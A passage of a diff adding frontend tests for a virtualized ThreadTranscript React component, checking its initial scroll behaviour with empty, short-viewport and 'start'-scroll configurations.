+ <ThreadTranscript messages={messages} virtualize height={300} />
1217
+ </MantineProvider>
1218
+ )
1219
+ const { container, rerender } = render(tree())
1220
+
1221
+ // A 0px viewport windows to no rows at all, so wait on the real virtualizer's sizer instead
1222
+ // (same signal the empty-transcript test below uses).
1223
+ await waitFor(() => {
1224
+ expect(container.querySelector('div[style*="overflow: auto"] > div')).not.toBeNull()
1225
+ })
1226
+ expect(autoBehaviorCalls(scrollToSpy)).toBe(0)
1227
+
1228
+ Object.defineProperty(HTMLElement.prototype, 'offsetHeight', {
1229
+ configurable: true,
1230
+ value: 300,
1231
+ })
1232
+ rerender(tree())
1233
+
1234
+ expect(autoBehaviorCalls(scrollToSpy)).toBeGreaterThan(0)
1235
+
1236
+ scrollToSpy.mockRestore()
1237
+ })
1238
+
1239
+ test('initialScroll: "start" suppresses the jump entirely', async () => {
1240
+ const scrollToSpy = spyOn(Element.prototype, 'scrollTo')
1241
+ const messages = manyMessages(200)
1242
+ const { container } = render(
1243
+ <MantineProvider>
1244
+ <ThreadTranscript
1245
+ messages={messages}
1246
+ virtualize={{ initialScroll: 'start' }}
1247
+ height={300}
1248
+ />
1249
+ </MantineProvider>,
1250
+ )
1251
+
1252
+ await waitFor(() => {
1253
+ expect(
1254
+ container.querySelectorAll('[data-testid^="agent-message-"]').length,
1255
+ ).toBeGreaterThan(0)
1256
+ })
1257
+ expect(autoBehaviorCalls(scrollToSpy)).toBe(0)
1258
+
1259
+ scrollToSpy.mockRestore()
1260
+ })
1261
+
1262
+ test('an empty transcript never scrolls, and never throws', async () => {
1263
+ const scrollToSpy = spyOn(Element.prototype, 'scrollTo')
1264
+
1265
+ let container: HTMLElement | undefined
1266
+ expect(() => {
1267
+ ;({ container } = render(
1268
+ <MantineProvider>
1269
+ <ThreadTranscript messages={[]} virtualize height={300} />
1270
+ </MantineProvider>,
1271
+ ))
1272
+ }).not.toThrow()
1273
+
1274
+ // No message rows ever exist to wait on, so instead wait for the REAL virtualizer's nested
1275
+ // sizer `Box` (present only once `LazyVirtualizedRows` — not `VirtualizeSuspenseFallback`,
1276
+ // which renders a single childless pane — has mounted).
1277
+ await waitFor(() => {
1278
+ expect(container?.querySelector('div[style*="overflow: auto"] > div')).not.toBeNull()
1279
+ })
1280
+ expect(autoBehaviorCalls(scrollToSpy)).toBe(0)
1281
+
1282
+ scrollToSpy.mockRestore()
1283
+ })
1284
+ })
211
1285
  })